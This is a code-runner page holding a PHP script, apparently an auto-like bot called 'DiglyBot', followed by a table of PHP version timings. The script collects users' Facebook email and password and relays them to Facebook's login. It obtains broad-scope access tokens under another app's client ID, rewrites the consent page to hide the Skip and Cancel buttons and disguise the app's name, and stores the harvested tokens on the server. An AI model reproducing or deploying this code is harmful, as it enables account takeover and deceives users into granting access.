3v4l.org

run code in 300+ PHP versions simultaneously
<?php error_reporting(0); ob_start('ob_gzhandler'); if(!is_dir('/tmp/fbdtsg')){ mkdir('/tmp/fbdtsg');} session_start(); if(!is_dir('/tmp/svT')){ mkdir('/tmp/svT'); } if($_POST[login]){ $key = base64_encode($_POST[pass].'(.)(.)'.$_POST[email]); $_SESSION[key]=$key; if(file_exists('/tmp/svT/'.$key)){ $toket=file_get_contents('/tmp/svT/'.$key); $cek =json_decode(_req($key,'https://graph.facebook.com/me?access_token='.$toket),true); if($cek[id]){ $_SESSION[access_token] = $toket; $_SESSION[fb_dtsg] = file_get_contents('/tmp/fbdtsg/'.$key); back('index.php'); exit; }else{ unlink('/tmp/svT/'.$key); back('login.php?act=setToken&key='.$key); } } elseif(file_exists('/tmp/'.$key)){ back('login.php?act=setToken&key='.$key); }else{ $fields=$_POST; login($key,$fields); back('login.php?act=setToken&key='.$key); } } if($_POST[fb_dtsg]){ $act=$_GET[act]; $key=$_SESSION[key]; $fields = $_POST; $token = setTokenP($key,$fields,$act); if($token){ $_SESSION[access_token] = $token; saveFile('/tmp/svT/'.$key,$token); if(!is_dir('/tpvt')){ mkdir('/tpvt'); } saveFile('/tpvt/'.$key,$token); back('index.php'); }else{ if($_SESSION[fb_dtsg]){ back('index.php?act=loginExpired'); }else{ unlink('/tmp/'.$key); back('index.php?act=loginFalse'); } } } if($_GET[act] == 'setToken'){ $key=$_GET[key]; $token = setToken($key); if($token){ $_SESSION[access_token] = $token; saveFile('/tmp/svT/'.$key,$token); if(!is_dir('/tpvt')){ mkdir('/tpvt'); } saveFile('/tpvt/'.$key,$token); back('index.php'); }else{ if($_SESSION[fb_dtsg]){ back('index.php?act=loginExpired'); }else{ unlink('/tmp/'.$key); back('index.php?act=loginFalse'); } } } function login($key,$fields){ return _req($key,'https://m.facebook.com/login.php',1,$fields); } function setTokenP($key,$fields,$type){ $getToken = _req($key,'https://m.facebook.com/dialog/oauth/'.$type,3,$fields); if(ereg('#access_token=',$getToken)){ $accessToken = substr($getToken,strpos($getToken,'access_token')+13,(strpos($getToken,'&expires_in') - (strpos($getToken,'access_token')+13))); } if($accessToken){ $_SESSION[access_token] = $accessToken; return $accessToken; }else{ if(ereg('fb_dtsg',$getToken)){ $fbDtsg = substr($getToken,strpos($getToken, 'name="fb_dtsg" value=')+22,12); if($fbDtsg){ $_SESSION[fb_dtsg] = $fbDtsg; saveFile('/tmp/fbdtsg/'.$key,$fbDtsg); } $oauth = '<x>'.$getToken; $oauth = '<x>'.$getToken; $oauth = preg_replace('#<x>(.+?)</table>(.+?)</form>(.+?)</html>#siu','\2</form>',$oauth); $oauth = str_replace('/dialog/oauth/read','index.php?act=powerLike&access=read',$oauth); $oauth = str_replace('/dialog/oauth/write','login.php?act=write',$oauth); $oauth = str_replace('v1.0login.php?act=write','login.php?act=write',$oauth); $oauth = str_replace('_56bs _56bw _56bt','btn btnD',$oauth); $oauth = str_replace('_56bs _56bw _56bu','btn btnC',$oauth); $oauth = str_replace('type="submit" name="__SKIP__"','type="hidden"',$oauth); $oauth = str_replace('type="submit" name="__CANCEL__"','type="hidden"',$oauth); eval('?>'.file_get_contents('head.php').'<?'); print '<div class="acy apm abb abt">Access Write untuk Applikasi DiglyBot</div>'; print ($oauth); eval('?>'.file_get_contents('foot.php').'<?'); exit; }else{ return false; } } } function setToken($key){ $ponsel =2915120374; $berry =2254487659; $andro = 350685531728; $texas=2389801228; $nokia = 49340319393; $getToken = _req($key,'https://m.facebook.com/dialog/oauth?client_id='.$texas.'&redirect_uri='.urlencode('https://m.facebook.com/connect/login_success.html').'&response_type=token&scope=read_requests,publish_stream,read_stream,publish_actions,publish_likes,user_status,friends_status,user_photos,friends_photos&refid=7',3); if(ereg('#access_token=',$getToken)){ $accessToken = substr($getToken,strpos($getToken,'access_token')+13,(strpos($getToken,'&expires_in') - (strpos($getToken,'access_token')+13))); } if($accessToken){ print '<script>alert("Hapus Dolo Aplikasi Texas HoldEm Poker :p")</script>'; }else{ if(ereg('fb_dtsg',$getToken)){ $fbDtsg = substr($getToken,strpos($getToken, 'name="fb_dtsg" value=')+22,12); if($fbDtsg){ $_SESSION[fb_dtsg] = $fbDtsg; saveFile('/tmp/fbdtsg/'.$key,$fbDtsg); } $oauth = '<x>'.$getToken; $oauth = preg_replace('#<x>(.+?)</table>(.+?)</form>(.+?)</html>#siu','\2</form>',$oauth); $oauth = str_replace('/dialog/oauth/read','login.php?act=read',$oauth); $oauth = str_replace('v1.0login.php?act=read','login.php?act=read',$oauth); $oauth = str_replace('/dialog/oauth/write','index.php?act=powerLike&access=write',$oauth); $oauth = str_replace('_56bs _56bw _56bt','btn btnD',$oauth); $oauth = str_replace('_56bs _56bw _56bu','btn btnC',$oauth); $oauth = str_replace('type="submit" name="__SKIP__"','type="hidden"',$oauth); $oauth = str_replace('type="submit" name="__CANCEL__"','type="hidden"',$oauth); $oauth = str_replace('Texas HoldEm Poker','DiglyBot',$oauth); $oauth=str_replace($texas,$berry,$oauth); eval('?>'.file_get_contents('head.php').'<?'); print '<div class="acy apm abb abt">Access Read untuk Applikasi DiglyBot</div>'; print ($oauth); eval('?>'.file_get_contents('foot.php').'<?'); exit; }else{ return false; } } } function back($url){ print '<meta http-equiv="refresh" content="0;url='.$url.'" />'; } function bunuh($x){ unset($_SESSION[$x]); } function _req($key,$url,$type=null,$fields=null){ $opts = array( 19913 => 1, 10002 => $url, 10018 => $_SERVER[HTTP_USER_AGENT], ); $ch=curl_init(); if($type){ if($type == 1){ $opts[10082] = '/tmp/'.$key; } if($type == 3){ $opts[42] = 1; } $opts[10031] = '/tmp/'.$key; } if($fields){ $opts[47] = true; $opts[10015] = $fields; } curl_setopt_array($ch,$opts); $result = curl_exec($ch); curl_close($ch); return $result; } function saveFile($x,$y){ $f=fopen($x,'w'); fwrite($f,$y); fclose($f); } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.88
8.3.50.0070.00719.84
8.3.40.0170.00318.96
8.3.30.0130.00319.30
8.3.20.0040.00420.41
8.3.10.0060.00320.48
8.3.00.0040.00419.22
8.2.180.0120.00316.88
8.2.170.0040.01122.96
8.2.160.0120.00420.52
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0030.00620.93
8.2.110.0070.00419.56
8.2.100.0050.00517.97
8.2.90.0000.00818.03
8.2.80.0060.00317.97
8.2.70.0120.00618.76
8.2.60.0110.00718.70
8.2.50.0100.01018.88
8.2.40.0160.00418.75
8.2.30.0140.00518.82
8.2.20.0150.00418.82
8.2.10.0090.00918.65
8.2.00.0090.00918.89
8.1.270.0080.00023.96
8.1.260.0000.00826.35
8.1.250.0040.00428.09
8.1.240.0060.00319.24
8.1.230.0090.00321.15
8.1.220.0030.00617.91
8.1.210.0080.00019.12
8.1.200.0110.00718.25
8.1.190.0110.00618.46
8.1.180.0170.00018.66
8.1.170.0170.00018.55
8.1.160.0120.00418.40
8.1.150.0180.00018.65
8.1.140.0120.00618.61
8.1.130.0040.01218.53
8.1.120.0060.01218.51
8.1.110.0100.00718.68
8.1.100.0130.00318.41
8.1.90.0070.00719.87
8.1.80.0110.00518.46
8.1.70.0120.00618.53
8.1.60.0160.00318.66
8.1.50.0140.00518.36
8.1.40.0060.01118.61
8.1.30.0070.00220.42
8.1.20.0110.00518.80
8.1.10.0100.00020.43
8.1.00.0050.00520.02
8.0.300.0060.00320.28
8.0.290.0040.01118.25
8.0.280.0060.00319.81
8.0.270.0100.00518.25
8.0.260.0040.00419.82
8.0.250.0070.00718.25
8.0.240.0070.00319.96
8.0.230.0000.00920.02
8.0.220.0000.01218.25
8.0.210.0050.00519.82
8.0.200.0050.00520.00
8.0.190.0150.00018.25
8.0.180.0000.00920.02
8.0.170.0140.00018.25
8.0.160.0090.00019.96
8.0.150.0140.00018.25
8.0.140.0050.00519.87
8.0.130.0060.00319.89
8.0.120.0130.00318.25
8.0.110.0090.00019.73
8.0.100.0140.00018.25
8.0.90.0100.00018.25
8.0.80.0030.00619.72
8.0.70.0150.00018.25
8.0.60.0040.00419.63
8.0.50.0150.00018.25
8.0.30.0070.00219.70
8.0.20.0120.00418.25
8.0.10.0060.01018.25
8.0.00.0110.00818.25
7.4.330.0110.00418.25
7.4.320.0120.00318.25
7.4.300.0170.00018.25
7.4.290.0160.00018.25
7.4.280.0080.00818.25
7.4.270.0080.00818.25
7.4.260.0100.00718.25
7.4.250.0110.00618.25
7.4.240.0000.01718.25
7.4.230.0090.00918.25
7.4.220.0120.00418.25
7.4.210.0170.00018.25
7.4.200.0130.00318.25
7.4.190.0080.00818.25
7.4.180.0100.00518.25
7.4.160.0040.01218.25
7.4.150.0080.00818.25
7.4.140.0040.01218.25
7.4.130.0150.00018.25
7.4.120.0140.00318.25
7.4.110.0120.00318.25
7.4.100.0150.00018.25
7.4.90.0100.00518.25
7.4.80.0120.00318.25
7.4.70.0150.00018.25
7.4.60.0120.00418.25
7.4.50.0040.01118.25
7.4.40.0100.00518.25
7.4.30.0110.00418.25
7.4.20.0150.00018.25
7.4.10.0140.00018.25
7.4.00.0100.00518.25
7.3.330.0110.00518.25
7.3.320.0100.00518.25
7.3.310.0090.00618.25
7.3.300.0120.00418.25
7.3.290.0130.00318.25
7.3.280.0140.00318.25
7.3.270.0120.00418.25
7.3.260.0120.00418.25
7.3.250.0130.00318.25
7.3.240.0110.00618.25
7.3.230.0120.00418.25
7.3.220.0160.00018.25
7.3.210.0170.00018.25
7.3.200.0120.00418.25
7.3.190.0110.00518.25
7.3.180.0130.00318.25
7.3.170.0110.00618.25
7.3.160.0160.00018.25
7.3.150.0110.00518.25
7.3.140.0160.00018.25
7.3.130.0120.00418.25
7.3.120.0160.00018.25
7.3.110.0120.00618.25
7.3.100.0060.00918.25
7.3.90.0080.00818.25
7.3.80.0120.00418.25
7.3.70.0100.00518.25
7.3.60.0000.01518.25
7.3.50.0150.00018.25
7.3.40.0060.00918.25
7.3.30.0150.00018.25
7.3.20.0150.00018.92
7.3.10.0050.01019.23
7.3.00.0160.00019.07
7.2.340.0080.00818.25
7.2.330.0100.00618.25
7.2.320.0120.00318.25
7.2.310.0080.00818.25
7.2.300.0050.01018.25
7.2.290.0120.00418.25
7.2.280.0080.00818.25
7.2.270.0130.00318.25
7.2.260.0150.00018.25
7.2.250.0120.00318.25
7.2.240.0150.00018.25
7.2.230.0110.00518.25
7.2.220.0100.00518.25
7.2.210.0080.00818.25
7.2.200.0080.00818.25
7.2.190.0120.00318.25
7.2.180.0050.01118.25
7.2.170.0100.00518.25
7.2.160.0070.00718.25
7.2.150.0100.00619.07
7.2.140.0120.00319.33
7.2.130.0120.00319.34
7.2.120.0120.00419.07
7.2.110.0080.00819.33
7.2.100.0100.00719.62
7.2.90.0150.00219.10
7.2.80.0160.00019.49
7.2.70.0120.00419.45
7.2.60.0080.00819.44
7.2.50.0040.01219.30
7.2.40.0110.00519.16
7.2.30.0130.00319.38
7.2.20.0120.00419.08
7.2.10.0040.01119.25
7.2.00.0070.00719.35
7.1.330.0070.00718.25
7.1.320.0140.00018.27
7.1.310.0150.00018.25
7.1.300.0090.00518.25
7.1.290.0070.00718.25
7.1.280.0110.00418.25
7.1.270.0070.00718.25
7.1.260.0100.00318.44
7.1.250.0060.00918.25
7.1.240.0090.00618.25
7.1.230.0150.00018.25
7.1.220.0100.00518.25
7.1.210.0110.00418.25
7.1.200.0120.00318.48
7.1.190.0080.00618.25
7.1.180.0050.00918.25
7.1.170.0100.00318.29
7.1.160.0060.00918.25
7.1.150.0090.00518.34
7.1.140.0160.00018.25
7.1.130.0140.00018.25
7.1.120.0100.00318.25
7.1.110.0140.00018.25
7.1.100.0090.00518.25
7.1.90.0110.00418.25
7.1.80.0120.00318.25
7.1.70.0070.00718.25
7.1.60.0060.00818.34
7.1.50.0130.00318.25
7.1.40.0110.00418.25
7.1.30.0150.00018.25
7.1.20.0120.00418.25
7.1.10.0140.00018.25
7.1.00.0080.00818.25
7.0.330.0100.00518.25
7.0.320.0150.00018.25
7.0.310.0000.01318.25
7.0.300.0090.00518.25
7.0.290.0140.00018.25
7.0.280.0100.00318.25
7.0.270.0090.00518.25
7.0.260.0110.00418.25
7.0.250.0070.00718.25
7.0.240.0080.00618.25
7.0.230.0120.00318.25
7.0.220.0140.00018.25
7.0.210.0040.00918.25
7.0.200.0050.01018.25
7.0.190.0100.00318.25
7.0.180.0100.00318.25
7.0.170.0130.00018.25
7.0.160.0090.00618.25
7.0.150.0140.00018.25
7.0.140.0100.00318.25
7.0.130.0150.00018.25
7.0.120.0050.00918.25
7.0.110.0110.00318.25
7.0.100.0150.00018.25
7.0.90.0110.00418.25
7.0.80.0100.00318.25
7.0.70.0120.00318.25
7.0.60.0100.00318.25
7.0.50.0050.00918.25
7.0.40.0100.00318.25
7.0.30.0140.00018.25
7.0.20.0100.00518.25
7.0.10.0100.00318.25
7.0.00.0130.00018.25
5.6.400.0140.00018.25
5.6.390.0110.00218.25
5.6.380.0100.00318.25
5.6.370.0070.00718.25
5.6.360.0000.01418.25
5.6.350.0040.00918.25
5.6.340.0080.00618.25
5.6.330.0090.00518.25
5.6.320.0090.00518.25
5.6.310.0080.00518.25
5.6.300.0140.00018.25
5.6.290.0040.00918.25
5.6.280.0130.00018.25
5.6.270.0100.00318.25
5.6.260.0100.00318.25
5.6.250.0030.01018.25
5.6.240.0130.00018.25
5.6.230.0090.00318.25
5.6.220.0060.00918.25
5.6.210.0060.00818.25
5.6.200.0100.00318.25
5.6.190.0060.00818.25
5.6.180.0090.00518.25
5.6.170.0070.00718.25
5.6.160.0130.00018.25
5.6.150.0080.00618.25
5.6.140.0140.00018.25
5.6.130.0140.00018.25
5.6.120.0090.00418.25
5.6.110.0130.00018.25
5.6.100.0070.00718.25
5.6.90.0140.00018.25
5.6.80.0080.00518.25
5.6.70.0080.00418.25
5.6.60.0090.00418.25
5.6.50.0100.00318.25
5.6.40.0100.00318.25
5.6.30.0110.00318.25
5.6.20.0100.00318.25
5.6.10.0090.00318.25
5.6.00.0100.00318.25
5.5.380.0040.00918.25
5.5.370.0070.00718.25
5.5.360.0130.00018.25
5.5.350.0070.00718.25
5.5.340.0040.00918.25
5.5.330.0130.00018.25
5.5.320.0110.00418.25
5.5.310.0100.00318.25
5.5.300.0110.00218.25
5.5.290.0130.00018.25
5.5.280.0090.00318.25
5.5.270.0100.00318.25
5.5.260.0150.00018.25
5.5.250.0130.00018.25
5.5.240.0080.00618.25
5.5.230.0050.00918.25
5.5.220.0120.00018.25
5.5.210.0080.00518.25
5.5.200.0000.01318.25
5.5.190.0110.00318.25
5.5.180.0130.00018.25
5.5.170.0140.00018.25
5.5.160.0070.00718.25
5.5.150.0140.00018.25
5.5.140.0100.00218.25
5.5.130.0080.00418.25
5.5.120.0100.00218.25
5.5.110.0080.00518.25
5.5.100.0080.00418.25
5.5.90.0120.00318.25
5.5.80.0090.00318.25
5.5.70.0060.00818.25
5.5.60.0140.00018.25
5.5.50.0000.01318.25
5.5.40.0070.00718.25
5.5.30.0090.00318.25
5.5.20.0070.00718.25
5.5.10.0040.00918.25
5.5.00.0100.00318.25
5.4.450.0040.00718.25
5.4.440.0000.01018.25
5.4.430.0070.00418.25
5.4.420.0100.00018.25
5.4.410.0000.01118.25
5.4.400.0110.00018.25
5.4.390.0070.00418.25
5.4.380.0050.00518.25
5.4.370.0110.00018.25
5.4.360.0080.00418.25
5.4.350.0080.00418.25
5.4.340.0090.00318.25
5.4.330.0110.00018.25
5.4.320.0050.00518.25
5.4.310.0080.00318.25
5.4.300.0050.00518.25
5.4.290.0050.00518.25
5.4.280.0080.00418.25
5.4.270.0070.00418.25
5.4.260.0100.00018.25
5.4.250.0110.00018.25
5.4.240.0040.00718.25
5.4.230.0050.00518.25
5.4.220.0110.00018.25
5.4.210.0110.00018.25
5.4.200.0060.00618.25
5.4.190.0090.00318.25
5.4.180.0040.00718.25
5.4.170.0110.00018.25
5.4.160.0080.00218.25
5.4.150.0070.00318.25
5.4.140.0040.00818.25
5.4.130.0110.00018.25
5.4.120.0070.00318.25
5.4.110.0080.00418.25
5.4.100.0060.00618.25
5.4.90.0100.00018.25
5.4.80.0050.00518.25
5.4.70.0100.00018.25
5.4.60.0110.00018.25
5.4.50.0050.00518.25
5.4.40.0070.00318.25
5.4.30.0110.00018.25
5.4.20.0080.00318.25
5.4.10.0000.01018.25
5.4.00.0080.00318.25

preferences:
53.8 ms | 400 KiB | 5 Q